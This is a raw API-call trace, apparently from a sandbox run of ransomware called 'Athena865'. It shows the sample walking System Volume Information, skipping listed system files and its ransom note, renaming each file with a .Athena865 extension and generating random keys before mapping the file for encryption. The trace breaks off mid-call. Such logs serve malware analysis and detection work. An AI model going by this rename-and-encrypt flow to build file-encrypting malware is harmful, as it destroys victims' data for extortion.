(lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.124] lstrlenW (lpString="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo") returned 56 [0100.124] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo" | out: lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo") returned="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo" [0100.124] lstrlenW (lpString="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo") returned 56 [0100.124] lstrlenW (lpString="Athena865") returned 9 [0100.124] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.124] lstrlenW (lpString=".dll") returned 4 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.124] lstrlenW (lpString=".lnk") returned 4 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.124] lstrlenW (lpString=".ini") returned 4 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.124] lstrlenW (lpString=".sys") returned 4 [0100.124] lstrcmpiW (lpString1="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.124] lstrlenW (lpString="{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo") returned 56 [0100.124] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo.Athena865") returned 113 [0100.124] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.125] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{51296D62-5AA5-412E-9A8F-ABE77CD15E9E}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.125] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=264) returned 1 [0100.126] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.126] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.126] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.127] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x154 [0100.130] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0100.131] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.131] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.131] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.132] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe19db9c0, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xe19db9c0, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xe1a73f40, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", cAlternateFileName="{5AC56~1")) returned 1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2=".") returned 1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2="..") returned 1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2="windows") returned -1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2="temp") returned -1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2="boot") returned -1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.132] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.132] lstrlenW (lpString="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo") returned 56 [0100.132] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo" | out: lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo") returned="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo" [0100.133] lstrlenW (lpString="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo") returned 56 [0100.133] lstrlenW (lpString="Athena865") returned 9 [0100.133] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.133] lstrlenW (lpString=".dll") returned 4 [0100.133] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.133] lstrlenW (lpString=".lnk") returned 4 [0100.133] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.133] lstrlenW (lpString=".ini") returned 4 [0100.133] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.133] lstrlenW (lpString=".sys") returned 4 [0100.133] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.133] lstrlenW (lpString="{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo") returned 56 [0100.133] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo.Athena865") returned 113 [0100.133] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.134] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{5AC56584-2304-47B9-B262-8D3164A52D9E}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.134] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.135] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.135] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.135] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.135] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.137] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.140] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.141] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.141] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.142] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe9341bc0, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xe9341bc0, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xe94726c0, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", cAlternateFileName="{5AC56~2")) returned 1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.142] lstrlenW (lpString="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo") returned 56 [0100.142] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo" | out: lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo") returned="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo" [0100.142] lstrlenW (lpString="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo") returned 56 [0100.142] lstrlenW (lpString="Athena865") returned 9 [0100.142] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.142] lstrlenW (lpString=".dll") returned 4 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.142] lstrlenW (lpString=".lnk") returned 4 [0100.142] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.142] lstrlenW (lpString=".ini") returned 4 [0100.143] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.143] lstrlenW (lpString=".sys") returned 4 [0100.143] lstrcmpiW (lpString1="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.143] lstrlenW (lpString="{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo") returned 56 [0100.143] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo.Athena865") returned 113 [0100.143] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.143] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{5AC56584-2304-47B9-B262-8D3164A52D9E}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{5ac56584-2304-47b9-b262-8d3164a52d9e}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.144] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=264) returned 1 [0100.144] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.144] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.144] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.145] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x154 [0100.147] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0100.147] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.148] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.148] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.148] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x61947fa0, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x61947fa0, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x619e0520, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", cAlternateFileName="{77AC2~1")) returned 1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2=".") returned 1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2="..") returned 1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2="windows") returned -1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2="temp") returned -1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2="boot") returned -1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.149] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.149] lstrlenW (lpString="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo") returned 56 [0100.149] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo" | out: lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo") returned="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo" [0100.149] lstrlenW (lpString="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo") returned 56 [0100.149] lstrlenW (lpString="Athena865") returned 9 [0100.150] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.150] lstrlenW (lpString=".dll") returned 4 [0100.150] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.150] lstrlenW (lpString=".lnk") returned 4 [0100.150] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.150] lstrlenW (lpString=".ini") returned 4 [0100.150] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.150] lstrlenW (lpString=".sys") returned 4 [0100.150] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.150] lstrlenW (lpString="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo") returned 56 [0100.150] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo.Athena865") returned 113 [0100.150] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.151] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{77ac2c2c-d323-4d07-bbbc-9f6908de6f91}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.151] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.151] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.152] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.152] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.152] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.154] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.158] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.158] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.158] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.159] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x67d8de60, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x67d8de60, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x67ebe960, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", cAlternateFileName="{77AC2~2")) returned 1 [0100.159] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.159] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.160] lstrcmpiW (lpString1="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.160] lstrlenW (lpString="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo") returned 56 [0100.160] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{77AC2C2C-D323-4D07-BBBC-9F6908DE6F91}_WindowsUpdateInfo" | out: 